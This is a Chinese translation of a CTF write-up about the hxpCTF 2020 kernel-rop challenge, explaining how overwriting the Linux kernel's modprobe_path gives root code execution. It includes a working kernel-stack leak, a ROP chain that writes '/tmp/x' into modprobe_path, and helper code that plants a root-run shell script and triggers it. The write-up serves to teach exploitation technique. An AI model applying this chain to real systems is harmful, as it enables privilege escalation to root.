原文地址:https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/
在本文中,我们将为读者介绍一种通过通过覆盖内核中的modprobe_path来利用Linux内核漏洞的技术。如果使用这种技术的话,相应的payload根本无需调用prepare_kernel_cred()和commit_creds()——众所周知,调用这两个函数是一个非常繁琐的过程。也就是说,与传统的技术相比,这里介绍的方法不仅有效,而且非常简便。
当然,这个技术本身并不复杂,但是,为了便于讲解,我们将以hxpCTF 2020大赛中的kernel-rop挑战为例进行演示,希望本文对大家能够有所帮助。
简单来说,该挑战提供了以下文件:
vmlinuz:经过压缩处理的Linux内核。
initramfs.cpio.gz:Linux文件系统,其中包含易受攻击的内核模块,即hackme.ko。
run.sh:包含qemu运行命令的shell脚本。
下面是我们可以从这些文件中得到的信息:
系统提供了全面的保护措施:SMEP、SMAP、KPTI和KASLR。
linux内核使用的是FG-KASLR,这是KASLR的一个非主流版本,它通过随机化每个函数(而不仅限于内核函数)的地址来增加额外的保护层。
存在安全漏洞的模块在hackme_init()中注册了一个名为hackme的设备,我们可以打开该设备并对其进行读写操作。
hackme_read()和hackme_write()函数存在堆栈缓冲区溢出漏洞,该漏洞使我们可以在内核堆栈上随意进行读写操作。
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
//...
int tmp[32];
//...
if ( _size > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
BUG();
}
_check_object_size(hackme_buf, _size, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return -14LL;
_memcpy(tmp, hackme_buf);
//...
}
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
//...
int tmp[32];
//...
_memcpy(hackme_buf, tmp);
if ( _size > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
BUG();
}
_check_object_size(hackme_buf, _size, 1LL);
v6 = copy_to_user(data, hackme_buf, _size) == 0;
//...
}
这就是该挑战及其环境,既简单,又很标准。现在,让我们进入最重要的部分,即解释该技术本身。
首先,什么是modprobe呢?根据维基百科的说法:“modprobe是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块”。也就是说,它是我们在Linux内核中安装或卸载新模块时都要执行的一个程序。该程序的路径是一个内核全局变量,默认为/sbin/modprobe,我们可以通过运行以下命令来查看该路径:
cat /proc/sys/kernel/modprobe
-> /sbin/modprobe
截至目前,你可能想知道为什么这个程序会对内核利用有用,以及如何利用。别急,下面让我来告诉具体的原因:
首先, modprobe的路径, 默认是/sbin/modprobe, 存放在内核本身的符号modprobe_path下, 同时,它位于一个可写的内存页中。我们可以通过读取/proc/kallsyms得到它的地址(由于启用了KASLR安全机制,所以,你看到的地址可能会有所不同):
cat /proc/kallsyms | grep modprobe_path
-> ffffffffa7a61820 D modprobe_path
其次,当我们执行的文件的类型是系统未知的类型时,将执行modprobe程序(其路径存储在modprobe_path中)。 更准确地说,如果我们对文件签名(又称魔术头)为系统未知的文件调用execve()函数时,它将调用下列函数,并最终调用modprobe:
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
request_module()
call_modprobe()
所有这些调用最终将执行下面的代码:
static int call_modprobe(char *module_name, int wait)
{
...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
...
}
简而言之,当我们通过system函数执行一个文件类型未知的文件时,无论当前modprobe_path中存储的是哪个文件的路径,都会根据该路径执行对应的文件。因此,这个技术的原理就是利用一个任意写原语将modprobe_path覆盖成一个我们自己编写的shell脚本的路径,然后我们执行一个未知文件签名的文件。其结果是,当系统仍处于内核模式时,shell脚本将被执行,从而导致具有root权限的任意代码执行。
为了看到这个技术的实际效果,让我们为kernel-rop挑战编写一个payload。
实施该技术的前提条件如下所示:
知道modprobe_path的地址。
知道kpti_trampoline的地址,以便在覆盖modprobe_path后干净利落地返回用户区。
拥有一个任意写原语。
就该挑战的堆栈缓冲区溢出来说,这3个先决条件其实只满足了1个,那就是知道内核映像基地址,原因如下所示:
modprobe_path和kpti_trampoline都不受FG-KASLR的影响,所以它们的地址与内核映像基地址的偏移量,都是恒定的。
对于任意写操作,我们可以借助于下面的3个gadget,它们位于内核的起始区域,而这个区域是不受FG-KASLR影响的:
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret;
unsigned long pop_rbx_r12_rbp_ret = image_base + 0x3190UL; // pop rbx ; pop r12 ; pop rbp ; ret;
unsigned long write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL; // mov qword ptr [rbx], rax; pop rbx; pop rbp; ret;
因此,我们可以泄漏内核映像的基地址,然后使用hackme_read()来计算这些地址:
void leak(void){
unsigned n = 40;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
image_base = leak[38] - 0xa157ULL;
kpti_trampoline = image_base + 0x200f10UL + 22UL;
pop_rax_ret = image_base + 0x4d11UL;
pop_rbx_r12_rbp_ret = image_base + 0x3190UL;
write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL;
modprobe_path = image_base + 0x1061820UL;
printf("[*] Leaked %zd bytes\n", r);
printf(" --> Cookie: %lx\n", cookie);
printf(" --> Image base: %lx\n", image_base);
}
获取相关地址之后,接下来要做的事情是,将modprobe_path覆盖成一个我们可以控制的文件路径。在大多数linux系统中,我们可以以任何用户的身份随意读写/tmp目录,因此,我将使用上面提到的3个gadget将modprobe_path覆盖为一个名为/tmp/x的文件的路径,然后通过kpti_trampoline安全地返回用户态的get_flag()函数:
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = 0x782f706d742f; // rax <- "/tmp/x"
payload[off++] = pop_rbx_r12_rbp_ret;
payload[off++] = modprobe_path; // rbx <- modprobe_path
payload[off++] = 0x0; // dummy r12
payload[off++] = 0x0; // dummy rbp
payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path <- "/tmp/x"
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_flag;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to overwrite modprobe_path");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
既然modprobe_path指向/tmp/x,那么我们要做的就是在该文件中写入相应的内容,因为它将以root权限执行。在本例中,我将编写一个简单的shell脚本,将flag文件从/dev/sda复制到/tmp目录中,并使其可供所有用户读取。该脚本的内容如下所示:
#!/bin/sh
cp /dev/sda /tmp/flag
chmod 777 /tmp/flag
之后,我编写了一个只包含\xff字节的文件,以便使其成为系统未知类型的文件。在执行该文件后,我们应该在/tmp中看到一个允许读取的flag文件:
void get_flag(void){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
puts("[*] Run unknown file");
system("/tmp/dummy");
puts("[*] Hopefully flag is readable");
system("cat /tmp/flag");
exit(0);
}
如果一切顺利的话,旗标将会被打印出来。
读到这里,大家就明白为什么这项技术如此深受PWNer的喜爱了。当我理解了其工作原理,并亲手编写了一个exploit后,我就被深深吸引了:因为它真的是两全其美,不仅简单易懂,而且要求的先决条件极少。因此,我就迫不及待的现成文章,以便告诉大家;当然,由于本人水平有限,如果文章中有任何错误的信息,请随时指出。
完整的利用代码为modprobe.c,具体地址为https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/modprobe.c。
本文作者:mssp299
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/153929.html